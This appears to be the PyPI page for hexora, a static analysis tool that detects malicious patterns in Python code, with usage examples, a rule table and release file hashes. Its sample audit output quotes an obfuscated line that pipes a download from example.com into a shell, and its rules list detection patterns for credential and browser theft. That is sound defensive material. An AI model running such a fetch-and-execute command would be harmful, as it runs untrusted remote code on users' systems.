Skip to main content

Static analysis of malicous Python scripts.

Project description

hexora

Hexora is a static analysis tool designed to detect malicious and harmful patterns in Python code.

It can be used to:

  • Audit project dependencies to catch potential supply-chain attacks
  • Detect malicious scripts found on platforms like Pastebin, GitHub, or open directories
  • Analyze IoC files from past security incidents
  • Audit new packages uploaded to PyPi.
Hexora example

Examples

For output examples, please see docs/examples.md file.

Installation

Using Python

Requires Python 3.9+.

pip install hexora

Using uv:

uv tool install hexora

Usage

hexora --help

Audit single file

>  hexora audit test.py

warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
  ┌─ resources/test/test.py:3:8
  1  import pyperclip
2 3  data = pyperclip.paste()
          ^^^^^^^^^^^^^^^^^ HX2000
    = Confidence: High
    Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
    
warning[HX3000]: Possible execution of unwanted code
   ┌─ resources/test/test.py:20:1
   19  (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20  _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
   

Audit directory

hexora audit --output-format terminal resources/test/

Audit packages from virtual environment

hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/ 

Where python3.11 is the version of the Python in virtual environment.

Tips:

  • Use --exclude to suppress certain rule codes (e.g., noisy imports) for a given run
  • Use --min-confidence to focus on high-confidence findings only.

Confidence indicates how a certain piece of code is malicious. Some of the libraries are used for legit purposes, and it's hard to distinguish legit use-cases from malicious ones. That's why some of the matches have a low confidence level.

Usage in Python

>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
            'description': 'pyperclip can be used to copy and paste data from '
                           'the clipboard.',
            'label': 'pyperclip',
            'location': (7, 16),
            'rule': 'HX5010'},
           {'confidence': 'high',
            'description': 'Reading from the clipboard can be used to '
                           'exfiltrate sensitive data.',
            'label': 'pyperclip.paste',
            'location': (25, 42),
            'rule': 'HX2000'}],
 'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...

Available rules

New rules are added regularly.

Right now, the following rules are available:

Code Name Description
HX1000 AppEnumeration Suspicious application enumeration.
HX1010 BrowserEnumeration Suspicious browser enumeration (apps, cookies, history, etc.).
HX1020 PathEnumeration Suspicious path enumeration.
HX2000 ClipboardRead Reading from the clipboard.
HX2010 EnvAccess Access to a sensitive environment variable.
HX3000 CodeExec Possible code execution.
HX3010 ShellExec Execution of a shell command.
HX3020 DunderShellExec Execution of a shell command via __import__.
HX3030 DunderCodeExec Execution of code via __import__.
HX3040 DLLInjection Possible DLL injection.
HX4000 ObfuscateShellExec Execution of an obfuscated shell command.
HX4010 ObfuscatedCodeExec Execution of obfuscated code.
HX4020 ObfuscatedDunderShellExec Execution of an obfuscated shell command via __import__.
HX4030 ObfuscatedDunderCodeExec Execution of obfuscated code via __import__.
HX5000 DunderImport Suspicious use of __import__.
HX5010 SuspiciousImport Suspicious import.
HX5020 CtypesImport Suspicious ctypes import.
HX5030 PickleImport Suspicious pickle import.
HX5040 StructImport Suspicious struct import.
HX5050 SocketImport Suspicious socket import.
HX5060 MarshalImport Suspicious marshal import.
HX6000 Base64String Long Base64-encoded string detected; possible code obfuscation.
HX6010 HexedLiterals List of hex-encoded literals detected; possible payload.
HX6020 HexedString Long hex-encoded string detected; possible payload.
HX6030 IntLiterals Large list of integer literals detected; possible code obfuscation.
HX6040 CVEInLiteral Literal contains a CVE identifier.
HX6050 SuspiciousLiteral Suspicious literal detected; possible data enumeration.
HX6060 PathTraversal Suspicious path traversal.
HX7000 SuspiciousFunctionName Suspicious function name.
HX7010 SuspiciousParameterName Suspicious parameter name.
HX7020 SuspiciousVariable Suspicious variable name.
HX8000 BinaryDownload Suspicious binary download.
HX8010 BuiltinsVariable Suspicious builtin variable usage.

Credits

For parsing, we use AST parser from ruff library.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

hexora-0.1.2.tar.gz (4.8 kB view details)

Uploaded Source

Built Distributions

If you're not sure about the file name format, learn more about wheel file names.

hexora-0.1.2-cp313-cp313-win_amd64.whl (2.0 MB view details)

Uploaded CPython 3.13Windows x86-64

hexora-0.1.2-cp313-cp313-musllinux_1_2_x86_64.whl (2.5 MB view details)

Uploaded CPython 3.13musllinux: musl 1.2+ x86-64

hexora-0.1.2-cp313-cp313-manylinux_2_28_x86_64.whl (2.4 MB view details)

Uploaded CPython 3.13manylinux: glibc 2.28+ x86-64

hexora-0.1.2-cp313-cp313-manylinux_2_28_aarch64.whl (2.4 MB view details)

Uploaded CPython 3.13manylinux: glibc 2.28+ ARM64

hexora-0.1.2-cp313-cp313-macosx_11_0_arm64.whl (2.2 MB view details)

Uploaded CPython 3.13macOS 11.0+ ARM64

hexora-0.1.2-cp313-cp313-macosx_10_13_x86_64.whl (2.2 MB view details)

Uploaded CPython 3.13macOS 10.13+ x86-64

hexora-0.1.2-cp312-cp312-win_amd64.whl (2.0 MB view details)

Uploaded CPython 3.12Windows x86-64

hexora-0.1.2-cp312-cp312-musllinux_1_2_x86_64.whl (2.5 MB view details)

Uploaded CPython 3.12musllinux: musl 1.2+ x86-64

hexora-0.1.2-cp312-cp312-manylinux_2_28_x86_64.whl (2.4 MB view details)

Uploaded CPython 3.12manylinux: glibc 2.28+ x86-64

hexora-0.1.2-cp312-cp312-manylinux_2_28_aarch64.whl (2.4 MB view details)

Uploaded CPython 3.12manylinux: glibc 2.28+ ARM64

hexora-0.1.2-cp312-cp312-macosx_11_0_arm64.whl (2.2 MB view details)

Uploaded CPython 3.12macOS 11.0+ ARM64

hexora-0.1.2-cp312-cp312-macosx_10_13_x86_64.whl (2.2 MB view details)

Uploaded CPython 3.12macOS 10.13+ x86-64

hexora-0.1.2-cp311-cp311-win_amd64.whl (2.0 MB view details)

Uploaded CPython 3.11Windows x86-64

hexora-0.1.2-cp311-cp311-musllinux_1_2_x86_64.whl (2.5 MB view details)

Uploaded CPython 3.11musllinux: musl 1.2+ x86-64

hexora-0.1.2-cp311-cp311-manylinux_2_28_x86_64.whl (2.4 MB view details)

Uploaded CPython 3.11manylinux: glibc 2.28+ x86-64

hexora-0.1.2-cp311-cp311-manylinux_2_28_aarch64.whl (2.4 MB view details)

Uploaded CPython 3.11manylinux: glibc 2.28+ ARM64

hexora-0.1.2-cp311-cp311-macosx_11_0_arm64.whl (2.2 MB view details)

Uploaded CPython 3.11macOS 11.0+ ARM64

hexora-0.1.2-cp311-cp311-macosx_10_12_x86_64.whl (2.2 MB view details)

Uploaded CPython 3.11macOS 10.12+ x86-64

hexora-0.1.2-cp310-cp310-win_amd64.whl (2.0 MB view details)

Uploaded CPython 3.10Windows x86-64

hexora-0.1.2-cp310-cp310-musllinux_1_2_x86_64.whl (2.5 MB view details)

Uploaded CPython 3.10musllinux: musl 1.2+ x86-64

hexora-0.1.2-cp310-cp310-manylinux_2_28_x86_64.whl (2.4 MB view details)

Uploaded CPython 3.10manylinux: glibc 2.28+ x86-64

hexora-0.1.2-cp310-cp310-manylinux_2_28_aarch64.whl (2.4 MB view details)

Uploaded CPython 3.10manylinux: glibc 2.28+ ARM64

hexora-0.1.2-cp310-cp310-macosx_11_0_arm64.whl (2.2 MB view details)

Uploaded CPython 3.10macOS 11.0+ ARM64

hexora-0.1.2-cp310-cp310-macosx_10_12_x86_64.whl (2.2 MB view details)

Uploaded CPython 3.10macOS 10.12+ x86-64

hexora-0.1.2-cp39-cp39-win_amd64.whl (2.0 MB view details)

Uploaded CPython 3.9Windows x86-64

hexora-0.1.2-cp39-cp39-musllinux_1_2_x86_64.whl (2.5 MB view details)

Uploaded CPython 3.9musllinux: musl 1.2+ x86-64

hexora-0.1.2-cp39-cp39-manylinux_2_28_x86_64.whl (2.4 MB view details)

Uploaded CPython 3.9manylinux: glibc 2.28+ x86-64

hexora-0.1.2-cp39-cp39-manylinux_2_28_aarch64.whl (2.4 MB view details)

Uploaded CPython 3.9manylinux: glibc 2.28+ ARM64

hexora-0.1.2-cp39-cp39-macosx_11_0_arm64.whl (2.2 MB view details)

Uploaded CPython 3.9macOS 11.0+ ARM64

hexora-0.1.2-cp39-cp39-macosx_10_12_x86_64.whl (2.2 MB view details)

Uploaded CPython 3.9macOS 10.12+ x86-64

File details

Details for the file hexora-0.1.2.tar.gz.

File metadata

  • Download URL: hexora-0.1.2.tar.gz
  • Upload date:
  • Size: 4.8 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.12.9

File hashes

Hashes for hexora-0.1.2.tar.gz
Algorithm Hash digest
SHA256 56b27a3674d54e2ab5c1a48ecdffc048d6878c5cdddaea6f9854a154d4ec7ecc
MD5 15bf2572b5bb1565956917ceae838950
BLAKE2b-256 80486e5a956889a2cf6453a3c1fda596096a5dc0e8831a95488d68a2ef2ecaf3

See more details on using hashes here.

File details

Details for the file hexora-0.1.2-cp313-cp313-win_amd64.whl.

File metadata

  • Download URL: hexora-0.1.2-cp313-cp313-win_amd64.whl
  • Upload date:
  • Size: 2.0 MB
  • Tags: CPython 3.13, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.12.9

File hashes

Hashes for hexora-0.1.2-cp313-cp313-win_amd64.whl
Algorithm Hash digest
SHA256 2d65f7fe11be5ac9e570a90991a0cf73c7fd745ea76ff5f432a02ca7439b990e
MD5 1786b14c0d0a2e8f4c9988e7c7369b20
BLAKE2b-256 3726c20890e22e5e29b4c8d0decc44812db028290f149020ee53c7b8c38127d9

See more details on using hashes here.

File details

Details for the file hexora-0.1.2-cp313-cp313-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.1.2-cp313-cp313-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 0098fb0ef853c30f5455f68b95e4240f24baf8559ad7b84f10f80d4847cba9af
MD5 3f93910e01005e67a1ec968a4b1050ff
BLAKE2b-256 87a927dd4c4d10eaf6f4644183f3861466ccfedaf583b39638c0312b15318159

See more details on using hashes here.

File details

Details for the file hexora-0.1.2-cp313-cp313-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.1.2-cp313-cp313-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 722589bd9f014fc758a5a790e4f4b38da72b8480e30a3be47be42277feb0eb91
MD5 18afa1fcbb801ef68f8ff03b36542063
BLAKE2b-256 019692d7f4d325dd9cf0b77ba06d9b8a5acb1d0b5f659910b6d8462f7b5bcb90

See more details on using hashes here.

File details

Details for the file hexora-0.1.2-cp313-cp313-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.1.2-cp313-cp313-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 814f51a8ea938c08d2cd5f6c89d281b54736d96bfa1f79710e042d92cee833ca
MD5 6c505ae1682670495a906fa52c8f9eed
BLAKE2b-256 0c37a838f68a6d90ca9b25aa28776d54d50c613ba6f21e9682696148c0541df7

See more details on using hashes here.

File details

Details for the file hexora-0.1.2-cp313-cp313-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.1.2-cp313-cp313-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 05ba1ae4f69f690ce2285e31409641ac76061fd5359dcdb7945c394c217f710b
MD5 667ec39144722efa1128c09860b65399
BLAKE2b-256 872ba48788b0b31c75e268e127dedd701676110ae438cd7c0cfdba052d570274

See more details on using hashes here.

File details

Details for the file hexora-0.1.2-cp313-cp313-macosx_10_13_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.1.2-cp313-cp313-macosx_10_13_x86_64.whl
Algorithm Hash digest
SHA256 d0a68eac270337123926a75be5238d8b866ea2d8cdf566f1e34ad262c3aac6ed
MD5 35db01eb192f02ceb7c5851336a7df70
BLAKE2b-256 e06e2c5f3db4ed76f40dc7b926ac5bd333a0f41135d09af72e1571b0d94874f9

See more details on using hashes here.

File details

Details for the file hexora-0.1.2-cp312-cp312-win_amd64.whl.

File metadata

  • Download URL: hexora-0.1.2-cp312-cp312-win_amd64.whl
  • Upload date:
  • Size: 2.0 MB
  • Tags: CPython 3.12, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.12.9

File hashes

Hashes for hexora-0.1.2-cp312-cp312-win_amd64.whl
Algorithm Hash digest
SHA256 22ae1fd4c91941a68a023eb25763d60ca9d8f3135086c9855d9aead5bff068b0
MD5 5aa7dfe6b65f418d32f1b51795b4be3d
BLAKE2b-256 831fb72768bf28a5a9f682b6a08c9751004e6e7820bd2ee637bb0ecd62e32b00

See more details on using hashes here.

File details

Details for the file hexora-0.1.2-cp312-cp312-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.1.2-cp312-cp312-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 aac98ec77d968e3602a7e1f7f687f20f5fbe5313c7fc662f9035c6bc68f79675
MD5 470574beb73b484396e5c57d84acdf84
BLAKE2b-256 906187f0a2a914ba290b3e83c590f2383aac70522a70b68401d2a5f762a80fc5

See more details on using hashes here.

File details

Details for the file hexora-0.1.2-cp312-cp312-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.1.2-cp312-cp312-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 eefd52dea9743a089f3d91b797fce684cabc4786c96684e114187a828d1578ba
MD5 d993f00aa72a67798db9001294434487
BLAKE2b-256 40a2a973713f5193c8c51421d4d930945f01a62c938ca5122f35051a41a1a9b9

See more details on using hashes here.

File details

Details for the file hexora-0.1.2-cp312-cp312-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.1.2-cp312-cp312-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 4aabea16fa679597fd523d3fe6c629fc8a4745daefb1ae460275b20e46da25d5
MD5 0d258b1cd0e0f3d49a962905de18a50e
BLAKE2b-256 c61d5d1c6717eadce320b0aeac3bf2a4dfba541ac1463ec003284e03a7bd74dd

See more details on using hashes here.

File details

Details for the file hexora-0.1.2-cp312-cp312-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.1.2-cp312-cp312-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 d37295666c31c4e8a7a229b7534eb44473dfd6ad5a16e428b7a0db1201e371a9
MD5 84c1010c29e5e7c6e0a7b1debeb4665a
BLAKE2b-256 77fbbff2a3337c26c84a9c1bf5687b6db4016312bd0b399bc8db2521313b2a8a

See more details on using hashes here.

File details

Details for the file hexora-0.1.2-cp312-cp312-macosx_10_13_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.1.2-cp312-cp312-macosx_10_13_x86_64.whl
Algorithm Hash digest
SHA256 9430ee73505c376e75c74013f649b73ad01bb8a8c2aa3ab0bfaf7df64b007404
MD5 d45dd333b06aaf83168c221d5123fcac
BLAKE2b-256 49cbb5a9a0699b2ad61a230039c8d351ca81ca1c0eaa1d648e90002fa92efb09

See more details on using hashes here.

File details

Details for the file hexora-0.1.2-cp311-cp311-win_amd64.whl.

File metadata

  • Download URL: hexora-0.1.2-cp311-cp311-win_amd64.whl
  • Upload date:
  • Size: 2.0 MB
  • Tags: CPython 3.11, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.12.9

File hashes

Hashes for hexora-0.1.2-cp311-cp311-win_amd64.whl
Algorithm Hash digest
SHA256 a5c0fc99aec5b90f3f971a75349254689d76a5652942b101cf88aac78b5b3496
MD5 40efb7126551c23ab91e8db0c6ea3e2c
BLAKE2b-256 66987242dcb678294c5bcd594c55ad82a4fc619383d849f68407da0701ac0625

See more details on using hashes here.

File details

Details for the file hexora-0.1.2-cp311-cp311-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.1.2-cp311-cp311-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 2a33f511efc72f8be3c033099dfdc341166f75246953443035c6cd0036ec63f5
MD5 02699376a5b4e9713e2ea317c8383c67
BLAKE2b-256 43830e6ec15e24a97dfc6d823a3d8d7079c3464b06b3b98fab600b00e5d5b065

See more details on using hashes here.

File details

Details for the file hexora-0.1.2-cp311-cp311-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.1.2-cp311-cp311-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 547dd3306ca0957b3fd9cf7842e040209f119943587a32cc58fd9562d8af66f2
MD5 2d994edd8030fb9a6c0bc042cfadaa95
BLAKE2b-256 41d82066fe717edb9608a6581f49df167f03c7b075ffb3b584aaf1643df079f5

See more details on using hashes here.

File details

Details for the file hexora-0.1.2-cp311-cp311-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.1.2-cp311-cp311-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 5f2fef28b449e41e8ca99e9d2038d5beb5cc7a67374b428582128a47a84a0a9d
MD5 c84590d977afea6080d87202df75e0da
BLAKE2b-256 6d0e293efd62fa87b73ab055468d258a227e081aa37610d2294e10b49a6d9629

See more details on using hashes here.

File details

Details for the file hexora-0.1.2-cp311-cp311-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.1.2-cp311-cp311-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 566355ad2b341d5be25dabd374a3a8f4867f4fe77d7c44dd71bb85a28e2784f6
MD5 cf899a8c52059238cdb70ab9c4705b8a
BLAKE2b-256 f9464b64131aeb53ebaf55282def69e1f1d52dc38ff502c2d342078598ef91f9

See more details on using hashes here.

File details

Details for the file hexora-0.1.2-cp311-cp311-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.1.2-cp311-cp311-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 ddc9bf7077c40cdb7648ce71efd17eb8cbed2384f9b09851f830412d7fdeb113
MD5 539a12ef76f4052dbabb33b99ea673f9
BLAKE2b-256 734ef5e903166ca31b78a61b56a8a7cadd95c59e6182452fbd054c744951c1d0

See more details on using hashes here.

File details

Details for the file hexora-0.1.2-cp310-cp310-win_amd64.whl.

File metadata

  • Download URL: hexora-0.1.2-cp310-cp310-win_amd64.whl
  • Upload date:
  • Size: 2.0 MB
  • Tags: CPython 3.10, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.12.9

File hashes

Hashes for hexora-0.1.2-cp310-cp310-win_amd64.whl
Algorithm Hash digest
SHA256 3dfbce33381eb4964837b5c45d7a23cfbfa0264025eaf4562b9830a49424eea0
MD5 e9b32a1307692d0eb6615a6020edb7a5
BLAKE2b-256 f673f966d1029cc638165fa6647a8b2d773a0e6befb0b0acf7ca195315798c36

See more details on using hashes here.

File details

Details for the file hexora-0.1.2-cp310-cp310-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.1.2-cp310-cp310-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 dccbc1e1577f9a6c0a703a968a86c581d266c951fc79fda966db988a4dc05d6a
MD5 68467f59a88e90e46463bf1146fb36c5
BLAKE2b-256 0f8adacca8b5a22f3c0b2b555a6911178dcd9a8e9baa282bfb09952f73ea3c11

See more details on using hashes here.

File details

Details for the file hexora-0.1.2-cp310-cp310-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.1.2-cp310-cp310-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 26b75a28eaa6d5165fadab89e205c063409b3ab26e259f1f3d2db44d5a409c21
MD5 1bef9bc4c6f3ca4388ca92ecb0bfb26f
BLAKE2b-256 620fafb05344dda034921b8534675df0d40b9282ef3ce182ff8978d78d6a42b9

See more details on using hashes here.

File details

Details for the file hexora-0.1.2-cp310-cp310-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.1.2-cp310-cp310-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 7d9156f2839a6e0c135a3609c91543a892f2aced38f409a9dc2785a6f29ef453
MD5 c65bf417400c3e286838dc690e584b59
BLAKE2b-256 9db269e04aad95b12fcc7aec87631b0c02bbe05b34fbfe052629cfc576275ee2

See more details on using hashes here.

File details

Details for the file hexora-0.1.2-cp310-cp310-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.1.2-cp310-cp310-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 f08b7b1f9750a872f783ecce751528bee9ccf24123269647794535ed23c7a69a
MD5 64a11eb531b52bd2d851270b095eea6c
BLAKE2b-256 b293b1194496c6f81ba6f7629ce8a2c5770b0b7b1720474d8b4899f2ec217a13

See more details on using hashes here.

File details

Details for the file hexora-0.1.2-cp310-cp310-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.1.2-cp310-cp310-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 b82e858031570319f0c7ad0d9bd60addf3f821b750cf3cfa35a83c21f30e341b
MD5 b44d8881bcd965340c2297203231956d
BLAKE2b-256 e9757487c144a0961b5f632ae8e21d374566fcabe69919f4e904fdf7bf2a9b84

See more details on using hashes here.

File details

Details for the file hexora-0.1.2-cp39-cp39-win_amd64.whl.

File metadata

  • Download URL: hexora-0.1.2-cp39-cp39-win_amd64.whl
  • Upload date:
  • Size: 2.0 MB
  • Tags: CPython 3.9, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.12.9

File hashes

Hashes for hexora-0.1.2-cp39-cp39-win_amd64.whl
Algorithm Hash digest
SHA256 3f81d45aba499922c9ebe9634040c54b34dae8eff00f0a1d079c8aad66868d41
MD5 86b479858d7e1b2ce8015a1e50ca9a39
BLAKE2b-256 5c4263a839a5c398326c997db4e589a96ef4e0fbf3c1fcb1f81ea547bad103a7

See more details on using hashes here.

File details

Details for the file hexora-0.1.2-cp39-cp39-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.1.2-cp39-cp39-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 b8e47543dde3381fe1f46660be5609bc1b716e79433336d22d94356eca403373
MD5 a1d22ad01f61eab99d0acdc43d711c02
BLAKE2b-256 896c562f089bfd50399b7e4e769dbad5bd4ec072c2317984e10d9ec65154787c

See more details on using hashes here.

File details

Details for the file hexora-0.1.2-cp39-cp39-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.1.2-cp39-cp39-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 5c51a3126fc31a5ea59a9125ec1dfc8a189e06204a314d5cf709f4d4b1c30f96
MD5 fc2726e4e010c43880a56f354d869ff4
BLAKE2b-256 90c84e74c869a5fd1fe3f55e7b8f649de21331cb21c3b3ac902afa753beafa08

See more details on using hashes here.

File details

Details for the file hexora-0.1.2-cp39-cp39-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.1.2-cp39-cp39-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 db0df889a25da203c7530abd2e84f9f60033420b99324e57b5a73caae69d5f05
MD5 88e1845cfd7c55826dacbfe1893d45fd
BLAKE2b-256 da3c0715c9fb4f14fed667b91a77c141beb8f804e7e980304fe0a0c0ac0a8fc8

See more details on using hashes here.

File details

Details for the file hexora-0.1.2-cp39-cp39-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.1.2-cp39-cp39-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 486774c0f1b0636b20811dca3ff80bbd51535b3cb7c2f7512eccd73b799ddcf6
MD5 239f3af8e3cadc70935ad01482ecb40e
BLAKE2b-256 e0594a5d409f2fd9c22c22891f2550a33410d14556fac7a375e6ab9efb550371

See more details on using hashes here.

File details

Details for the file hexora-0.1.2-cp39-cp39-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.1.2-cp39-cp39-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 351922a872261e1ea08589439ea0637fd154caff248884fa8fa5353a9f11e655
MD5 f047875e4c121bea6e63cf96de214dcc
BLAKE2b-256 019770bd177ea22f2ec68043082f8dee349764359fe5e767781dcf9260f64fce

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page